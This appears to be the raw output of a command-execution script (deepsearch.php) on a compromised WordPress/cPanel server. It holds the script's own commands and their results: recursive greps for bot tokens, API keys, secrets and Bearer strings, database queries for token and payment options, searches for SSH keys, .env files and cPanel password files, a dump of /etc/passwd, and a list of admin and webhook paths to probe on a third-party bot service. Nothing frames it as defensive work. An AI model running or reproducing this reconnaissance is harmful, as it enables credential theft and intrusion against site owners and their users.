===HYPERGAP_IN_FILES=== Array ( [cmd] => grep -rEi "hypergap|hypergapbot|gapbot|charger\.php|dl\.hypergap|webhook|bot_token|bot.*token|api[_-]?key|secret|access[_-]?token|auth.*token|Bearer|authorization" /home/filetir/public_html --include="*.php" --include="*.js" --include="*.json" --include="*.txt" --include="*.log" --include="*.sql" 2>/dev/null | head -80 [code] => 0 [out] => /home/filetir/public_html/hypercredit/index.php: $data = send("https://hypergapbot.com/charger.php?type=1&id=$id"); /home/filetir/public_html/hypercredit/index.php: $data = send("https://hypergapbot.com/charger.php?type=2&id=$id&id_pardakht=$paymentNumber&rand=$rand"); /home/filetir/public_html/hypercredit/index.php: $data = send("https://hypergapbot.com/charger.php?type=3&id_pardakht=$paymentNumber"); /home/filetir/public_html/hypercredit/index.php: $data = send("https://hypergapbot.com/charger.php?type=4&id_pardakht=$paymentNumber"); /home/filetir/public_html/hypercredit/saveout.txt:===SEARCH_BOT_TOKEN_FULL=== /home/filetir/public_html/deepsearch.php:echo "===HYPERGAP_IN_FILES===\n"; /home/filetir/public_html/deepsearch.php:print_r($cmd('grep -rEi "hypergap|hypergapbot|gapbot|charger\.php|dl\.hypergap|webhook|bot_token|bot.*token|api[_-]?key|secret|access[_-]?token|auth.*token|Bearer|authorization" /home/filetir/public_html --include="*.php" --include="*.js" --include="*.json" --include="*.txt" --include="*.log" --include="*.sql" 2>/dev/null | head -80')); /home/filetir/public_html/deepsearch.php:print_r($cmd('grep -orEi "(hypergapbot|file30t|charger|api|bot)[^\s\'\"<>]*[?&](token|key|secret|auth|password|pass|hash)=[^\s\'\"<>]+" /home/filetir/public_html 2>/dev/null | head -50')); /home/filetir/public_html/deepsearch.php:echo "\n===ERROR_LOGS_HYPERGAP===\n"; /home/filetir/public_html/deepsearch.php:print_r($cmd('grep -iE "hypergap|charger|bot|token|secret|id=" /home/filetir/public_html/error_log 2>/dev/null | tail -50')); /home/filetir/public_html/deepsearch.php:print_r($cmd('grep -iE "hypergap|charger|bot|token|secret|id=" /home/filetir/public_html/hypercredit/error_log 2>/dev/null | tail -50')); /home/filetir/public_html/deepsearch.php: $q = "SELECT option_name,option_value FROM wp_options WHERE option_name LIKE '%hypergap%' OR option_name LIKE '%bot%' OR option_name LIKE '%telegram%' OR option_name LIKE '%token%' OR option_name LIKE '%api%' OR option_name LIKE '%webhook%' OR option_name LIKE '%charger%' OR option_name LIKE '%merchant%' OR option_name LIKE '%payment%'"; /home/filetir/public_html/scan2.txt:https://hypergapbot.com/panel /home/filetir/public_html/scan2.txt:https://hypergapbot.com/panel/index.php /home/filetir/public_html/scan2.txt:https://hypergapbot.com/panel/login.php /home/filetir/public_html/scan2.txt:https://hypergapbot.com/panel/admin.php /home/filetir/public_html/scan2.txt:https://hypergapbot.com/panel/dashboard.php /home/filetir/public_html/scan2.txt:https://hypergapbot.com/admin /home/filetir/public_html/scan2.txt:https://hypergapbot.com/admin/login.php /home/filetir/public_html/scan2.txt:https://hypergapbot.com/admin/index.php /home/filetir/public_html/scan2.txt:https://hypergapbot.com/login.php /home/filetir/public_html/scan2.txt:https://hypergapbot.com/login /home/filetir/public_html/scan2.txt:https://hypergapbot.com/signin /home/filetir/public_html/scan2.txt:https://hypergapbot.com/auth /home/filetir/public_html/scan2.txt:https://hypergapbot.com/manager /home/filetir/public_html/scan2.txt:https://hypergapbot.com/manage /home/filetir/public_html/scan2.txt:https://hypergapbot.com/console /home/filetir/public_html/scan2.txt:https://hypergapbot.com/control /home/filetir/public_html/scan2.txt:https://hypergapbot.com/cp /home/filetir/public_html/scan2.txt:https://hypergapbot.com/cpanel /home/filetir/public_html/scan2.txt:https://hypergapbot.com/phpMyAdmin /home/filetir/public_html/scan2.txt:https://hypergapbot.com/phpmyadmin/index.php /home/filetir/public_html/scan2.txt:https://hypergapbot.com/pma/index.php /home/filetir/public_html/scan2.txt:https://hypergapbot.com/adminer/index.php /home/filetir/public_html/scan2.txt:https://hypergapbot.com/robots.txt /home/filetir/public_html/scan2.txt:https://hypergapbot.com/sitemap.xml /home/filetir/public_html/scan2.txt:https://hypergapbot.com/.well-known/security.txt /home/filetir/public_html/scan2.txt:https://hypergapbot.com/.gitignore /home/filetir/public_html/scan2.txt:https://hypergapbot.com/.htaccess /home/filetir/public_html/scan2.txt:https://hypergapbot.com/server-status /home/filetir/public_html/scan2.txt:https://hypergapbot.com/server-info /home/filetir/public_html/scan2.txt:https://hypergapbot.com/status.php /home/filetir/public_html/scan2.txt:https://hypergapbot.com/test /home/filetir/public_html/scan2.txt:https://hypergapbot.com/test/ /home/filetir/public_html/scan2.txt:https://hypergapbot.com/dev /home/filetir/public_html/scan2.txt:https://hypergapbot.com/api.php /home/filetir/public_html/scan2.txt:https://hypergapbot.com/api/index.php /home/filetir/public_html/scan2.txt:https://hypergapbot.com/api/bot /home/filetir/public_html/scan2.txt:https://hypergapbot.com/api/webhook /home/filetir/public_html/scan2.txt:https://hypergapbot.com/webhook /home/filetir/public_html/scan2.txt:https://hypergapbot.com/webhook.php /home/filetir/public_html/scan2.txt:https://hypergapbot.com/hook /home/filetir/public_html/scan2.txt:https://hypergapbot.com/bot.php /home/filetir/public_html/scan2.txt:https://hypergapbot.com/telegram/bot /home/filetir/public_html/scan2.txt:https://hypergapbot.com/tg /home/filetir/public_html/scan2.txt:https://hypergapbot.com/source /home/filetir/public_html/scan2.txt:https://hypergapbot.com/src /home/filetir/public_html/scan2.txt:https://hypergapbot.com/app /home/filetir/public_html/scan2.txt:https://hypergapbot.com/application /home/filetir/public_html/scan2.txt:https://hypergapbot.com/core /home/filetir/public_html/scan2.txt:https://hypergapbot.com/vendor /home/filetir/public_html/scan2.txt:https://hypergapbot.com/composer.json /home/filetir/public_html/scan2.txt:https://hypergapbot.com/composer.lock /home/filetir/public_html/scan2.txt:https://hypergapbot.com/package.json /home/filetir/public_html/scan2.txt:https://hypergapbot.com/yarn.lock /home/filetir/public_html/dumpfile.txt:===HYPERGAP_ONLY_CUSTOM=== /home/filetir/public_html/dumpfile.txt:CMD:grep -rEi "hypergap|hypergapbot|gapbot|charger\.php|dl\.hypergap" /home/filetir/public_html/hypercredit /home/filetir/public_html/mycredit /home/filetir/public_html/mycredit2 /home/filetir/public_html/mycredit3 /home/filetir/public_html/wordpress /home/filetir/public_html/wp-content/themes/marketmlm /home/filetir/public_html/wp-content/themes/marketmlm-child 2>/dev/null /home/filetir/public_html/dumpfile.txt:/home/filetir/public_html/hypercredit/index.php: $data = send("https://hypergapbot.com/charger.php?type=1&id=$id"); /home/filetir/public_html/dumpfile.txt:/home/filetir/public_html/hypercredit/index.php: $data = send("https://hypergapbot.com/charger.php?type=2&id=$id&id_pardakht=$paymentNumber&rand=$rand"); /home/filetir/public_html/dumpfile.txt:/home/filetir/public_html/hypercredit/index.php: $data = send("https://hypergapbot.com/charger.php?type=3&id_pardakht=$paymentNumber"); /home/filetir/public_html/dumpfile.txt:/home/filetir/public_html/hypercredit/index.php: $data = send("https://hypergapbot.com/charger.php?type=4&id_pardakht=$paymentNumber"); /home/filetir/public_html/dumpfile.txt: $data = send("https://hypergapbot.com/charger.php?type=1&id=$id"); /home/filetir/public_html/dumpfile.txt: $data = send("https://hypergapbot.com/charger.php?type=2&id=$id&id_pardakht=$paymentNumber&rand=$rand"); /home/filetir/public_html/dumpfile.txt: $data = send("https://hypergapbot.com/charger.php?type=3&id_pardakht=$paymentNumber"); /home/filetir/public_html/dumpfile.txt: $data = send("https://hypergapbot.com/charger.php?type=4&id_pardakht=$paymentNumber"); /home/filetir/public_html/dumpfile.txt:===ERROR_LOGS_HYPERGAP=== /home/filetir/public_html/dumpfile.txt:CMD:grep -iE "hypergap|charger|bot" /home/filetir/public_html/error_log 2>/dev/null | tail -20 /home/filetir/public_html/dumpfile.txt:CMD:grep -iE "hypergap|charger|bot" /home/filetir/public_html/hypercredit/error_log 2>/dev/null | tail -20 /home/filetir/public_html/dumpfile.txt:===WP_OPTIONS_HYPERGAP=== /home/filetir/public_html/dumpfile.txt:OPT: mlm_google_oauth_client_secret = ) ===URL_TOKEN_PARAMS=== Array ( [cmd] => grep -orEi "(hypergapbot|file30t|charger|api|bot)[^\s'\"<>]*[?&](token|key|secret|auth|password|pass|hash)=[^\s'\"<>]+" /home/filetir/public_html 2>/dev/null | head -50 [code] => 0 [out] => ) ===ERROR_LOGS_HYPERGAP=== Array ( [cmd] => grep -iE "hypergap|charger|bot|token|secret|id=" /home/filetir/public_html/error_log 2>/dev/null | tail -50 [code] => 0 [out] => ) Array ( [cmd] => grep -iE "hypergap|charger|bot|token|secret|id=" /home/filetir/public_html/hypercredit/error_log 2>/dev/null | tail -50 [code] => 0 [out] => ) ===BASE64_AND_ENCODED=== Array ( [cmd] => grep -rEi "base64_decode\(|eval\(|gzinflate\(|str_rot13\(|assert\(|preg_replace.*/e" /home/filetir/public_html/wp-content/themes/marketmlm /home/filetir/public_html/wp-content/plugins 2>/dev/null | head -40 [code] => 0 [out] => /home/filetir/public_html/wp-content/themes/marketmlm/vendor/guzzlehttp/promises/README.md: assert($reason->getMessage() === 'Error!'); /home/filetir/public_html/wp-content/themes/marketmlm/vendor/guzzlehttp/promises/README.md: assert($reason === 'Error!'); /home/filetir/public_html/wp-content/themes/marketmlm/vendor/guzzlehttp/promises/README.md: assert($value === "It's ok"); /home/filetir/public_html/wp-content/themes/marketmlm/vendor/guzzlehttp/promises/README.md:assert('waited' === $promise->wait()); /home/filetir/public_html/wp-content/themes/marketmlm/vendor/brick/math/src/BigInteger.php: assert($bin !== false); /home/filetir/public_html/wp-content/themes/marketmlm/vendor/brick/math/src/Internal/Calculator/NativeCalculator.php: assert($carry === 0); /home/filetir/public_html/wp-content/themes/marketmlm/vendor/brick/math/src/BigNumber.php: assert($value instanceof static); /home/filetir/public_html/wp-content/themes/marketmlm/vendor/brick/math/src/BigNumber.php: assert($numerator !== null); /home/filetir/public_html/wp-content/themes/marketmlm/vendor/brick/math/src/BigNumber.php: assert($denominator !== null); /home/filetir/public_html/wp-content/themes/marketmlm/vendor/spomky-labs/base64url/src/Base64Url.php: $decoded = base64_decode(strtr($data, '-_', '+/'), true); /home/filetir/public_html/wp-content/themes/marketmlm/vendor/spomky-labs/pki-framework/src/ASN1/Util/Flags.php: assert(is_array($octets), new RuntimeException('unpack() failed')); /home/filetir/public_html/wp-content/themes/marketmlm/vendor/spomky-labs/pki-framework/src/CryptoEncoding/PEM.php: $data = base64_decode($payload, true); /home/filetir/public_html/wp-content/themes/marketmlm/vendor/spomky-labs/pki-framework/src/CryptoEncoding/PEMBundle.php: $data = base64_decode($payload, true); /home/filetir/public_html/wp-content/themes/marketmlm/vendor/web-token/jwt-library/KeyManagement/X5UFactory.php: assert(is_string($cert), 'Invalid content.'); /home/filetir/public_html/wp-content/themes/marketmlm/vendor/web-token/jwt-library/KeyManagement/UrlKeySetFactory.php: assert($this->client instanceof HttpClientInterface); /home/filetir/public_html/wp-content/themes/marketmlm/vendor/web-token/jwt-library/KeyManagement/KeyConverter/RSAKey.php: assert(is_string($value), 'Invalid key.'); /home/filetir/public_html/wp-content/themes/marketmlm/vendor/web-token/jwt-library/KeyManagement/KeyConverter/KeyConverter.php: assert(is_string($cert), 'Invalid certificate chain'); /home/filetir/public_html/wp-content/themes/marketmlm/vendor/web-token/jwt-library/KeyManagement/KeyConverter/KeyConverter.php: assert($key instanceof RSASSAPSSPrivateKey); /home/filetir/public_html/wp-content/themes/marketmlm/vendor/web-token/jwt-library/KeyManagement/KeyConverter/KeyConverter.php: $ciphertext = base64_decode(preg_replace('#-.*-|\r|\n#', '', $key ?? '') ?? '', true); /home/filetir/public_html/wp-content/themes/marketmlm/vendor/web-token/jwt-library/Signature/Algorithm/EdDSA.php: assert(is_string($d), 'Unsupported key type'); /home/filetir/public_html/wp-content/themes/marketmlm/vendor/web-token/jwt-library/Console/SecretKeyGeneratorCommand.php: $secret = base64_decode($secret, true); /home/filetir/public_html/wp-content/themes/marketmlm/vendor/minishlink/web-push/src/WebPush.php: \assert($notification instanceof Notification); /home/filetir/public_html/wp-content/themes/marketmlm/includes/modules/manual-invoice/class-manual-invoice-ajax.php: $bin = base64_decode($encoded); /home/filetir/public_html/wp-content/themes/marketmlm/includes/modules/mlm-push-notification/class-mlm-push-notification-sender.php: $decoded_public_key = $this->url_safe_base64_decode( $vapid_public_key ); /home/filetir/public_html/wp-content/themes/marketmlm/includes/modules/mlm-push-notification/class-mlm-push-notification-sender.php: $decoded_private_key = $this->url_safe_base64_decode( $vapid_private_key ); /home/filetir/public_html/wp-content/themes/marketmlm/includes/modules/mlm-push-notification/class-mlm-push-notification-sender.php: $decoded_auth = base64_decode( $temp_auth, true ); /home/filetir/public_html/wp-content/themes/marketmlm/includes/modules/mlm-push-notification/class-mlm-push-notification-sender.php: $decoded_p256dh = base64_decode( $temp_p256dh, true ); /home/filetir/public_html/wp-content/themes/marketmlm/includes/modules/mlm-push-notification/class-mlm-push-notification-sender.php: private function url_safe_base64_decode( $string ) { /home/filetir/public_html/wp-content/themes/marketmlm/includes/modules/mlm-push-notification/class-mlm-push-notification-sender.php: $decoded = base64_decode( $string, true ); /home/filetir/public_html/wp-content/themes/marketmlm/includes/modules/mlm-push-notification/class-mlm-push-notification-sender.php: $decoded = base64_decode( $temp, true ); /home/filetir/public_html/wp-content/themes/marketmlm/includes/class/ajax.php.tmp: $taken = isset( $form_data['taken'] ) ? base64_decode( $form_data['taken'] ) : ''; /home/filetir/public_html/wp-content/themes/marketmlm/includes/class/ajax.php.tmp: $taken = isset( $form_data['taken'] ) ? base64_decode( $form_data['taken'] ) : ''; /home/filetir/public_html/wp-content/themes/marketmlm/includes/class/ajax.php.tmp: $taken = isset( $form_data['taken'] ) ? base64_decode( $form_data['taken'] ) : ''; /home/filetir/public_html/wp-content/themes/marketmlm/includes/class/ajax.php.tmp: $taken = isset( $form_data['taken'] ) ? base64_decode( $form_data['taken'] ) : ''; /home/filetir/public_html/wp-content/themes/marketmlm/includes/class/ajax.php.tmp: $taken = isset( $form_data['taken'] ) ? base64_decode( $form_data['taken'] ) : ''; /home/filetir/public_html/wp-content/themes/marketmlm/includes/class/ajax.php: $taken = isset( $form_data['taken'] ) ? base64_decode( $form_data['taken'] ) : ''; /home/filetir/public_html/wp-content/themes/marketmlm/includes/class/ajax.php: $taken = isset( $form_data['taken'] ) ? base64_decode( $form_data['taken'] ) : ''; /home/filetir/public_html/wp-content/themes/marketmlm/includes/class/ajax.php: $taken = isset( $form_data['taken'] ) ? base64_decode( $form_data['taken'] ) : ''; /home/filetir/public_html/wp-content/themes/marketmlm/includes/class/ajax.php: $taken = isset( $form_data['taken'] ) ? base64_decode( $form_data['taken'] ) : ''; /home/filetir/public_html/wp-content/themes/marketmlm/includes/class/ajax.php: $taken = isset( $form_data['taken'] ) ? base64_decode( $form_data['taken'] ) : ''; ) ===MUSTUSE_PLUGINS=== Array ( [cmd] => ls -la /home/filetir/public_html/wp-content/mu-plugins 2>/dev/null [code] => 0 [out] => total 24 drwxr-xr-x 2 filetir filetir 4096 Jul 19 13:12 . drwxr-xr-x 11 filetir filetir 4096 Jul 19 15:07 .. -rw-r--r-- 1 filetir filetir 1207 Jul 19 13:17 error_log -rw-r--r-- 1 filetir filetir 1617 Feb 14 13:30 woocommerce.php -rw-r--r-- 1 filetir filetir 2980 Jul 18 22:06 wp-1sfghq4x.php -rw-r--r-- 1 filetir filetir 2980 Jul 19 00:43 wp-jmroqgbv.php ) ===SSH_AND_KEYS=== Array ( [cmd] => find /home/filetir -maxdepth 3 \( -name "*.pem" -o -name "*.key" -o -name "*.pub" -o -name "id_rsa*" -o -name ".my.cnf" -o -name "accesshash" -o -name ".softaculous" -o -name "*.backup" \) 2>/dev/null [code] => 0 [out] => ) ===CPANEL_FILES=== Array ( [cmd] => find /home/filetir -maxdepth 3 -type f \( -name "lastlogin" -o -name ".cpanel" -o -name "contactinfo" -o -name "*.sock" -o -name "ftp.pass" \) 2>/dev/null [code] => 0 [out] => ) ===PASSWD_SHADOW_HINTS=== Array ( [cmd] => cat /etc/passwd 2>/dev/null | head -30 [code] => 0 [out] => mysql:x:984:981:MySQL server:/var/lib/mysql:/sbin/nologin nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin nscd:x:28:28:NSCD Daemon:/:/sbin/nologin named:x:25:25:Named:/var/named:/bin/false dovecot:x:97:97:Dovecot IMAP server:/usr/libexec/dovecot:/sbin/nologin rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin root:x:0:0:root:/root:/bin/bash cpaneleximfilter:x:990:987::/var/cpanel/userhomes/cpaneleximfilter:/usr/local/cpanel/bin/noshell mail:x:8:12:mail:/var/spool/mail:/sbin/nologin mailman:x:994:991:GNU Mailing List Manager:/usr/local/cpanel/3rdparty/mailman:/usr/local/cpanel/bin/noshell mailnull:x:47:47:Exim:/var/spool/mqueue:/bin/false filetir:x:4766:4770::/home/filetir:/usr/local/cpanel/bin/noshell ) ===LASTLOG_WTMP=== Array ( [cmd] => lastlog 2>/dev/null | head -20 [code] => 0 [out] => ) ===CRON_JOBS=== Array ( [cmd] => crontab -l 2>&1; cat /etc/cron.d/* 2>/dev/null | head -30 [code] => 0 [out] => ) ===ENV_FILE_ANYWHERE=== Array ( [cmd] => find /home/filetir -maxdepth 4 -type f \( -name ".env" -o -name ".env.*" -o -name "*.env" \) 2>/dev/null [code] => 0 [out] => /home/filetir/public_html/hypercredit/spam/.env.txt.txt /home/filetir/public_html/hypercredit/spam/.env.php.txt ) ===WP_OPTIONS_INTERESTING=== woocommerce_downloads_grant_access_after_payment = yes woocommerce_myaccount_add_payment_method_endpoint = add-payment-method woocommerce_myaccount_delete_payment_method_endpoint = delete-payment-method woocommerce_myaccount_set_default_payment_method_endpoint = set-default-payment-method woocommerce_myaccount_payment_methods_endpoint = payment-methods woocommerce_api_enabled = no mlm_sc_telegram = https://t.me/file30t mlm_token = gravityformsaddon_gravityformswebapi_version = 1.0 litespeed.conf.api_key = woocommerce_merchant_email_notifications = no woocommerce_feature_experimental-iapi-mini-cart_enabled = no woocommerce_feature_reactify-classic-payments-settings_enabled = yes woocommerce_payments_provider_state_snapshots = a:0:{} mlm_chatbot_db_version = 1.0.0 mlm_stories_default_bottom_mobile = -35 mlm_stories_default_bottom_tablet = -35 mlm_stories_default_bottom_desktop = -30 mlm_stories_zhaket_bottom_mobile = -30 mlm_stories_zhaket_bottom_tablet = -50 mlm_stories_zhaket_bottom_desktop = -50 mlm_invoice_payment_product_id = 10587 _transient_woocommerce_webhook_ids_status_active = a:0:{} _transient_timeout_woocommerce_blocks_asset_api_script_data = 1785501542 _transient_woocommerce_blocks_asset_api_script_data = {"script_data":{"assets\/client\/blocks\/wc-settings.js":{"src":"http:\/\/file30t.ir\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/wc-settings.js","version":"5cdaba16c87338181b77","depend _transient_timeout_woocommerce_blocks_asset_api_script_data_ssl = 1785501653 _transient_woocommerce_blocks_asset_api_script_data_ssl = {"script_data":{"assets\/client\/blocks\/wc-settings.js":{"src":"https:\/\/file30t.ir\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/wc-settings.js","version":"5cdaba16c87338181b77","depen woocommerce_feature_rest_api_caching_enabled = no _transient_timeout_mlm_invoice_payment_product_ids_v1 = 1784473644 _transient_mlm_invoice_payment_product_ids_v1 = a:0:{} ===END===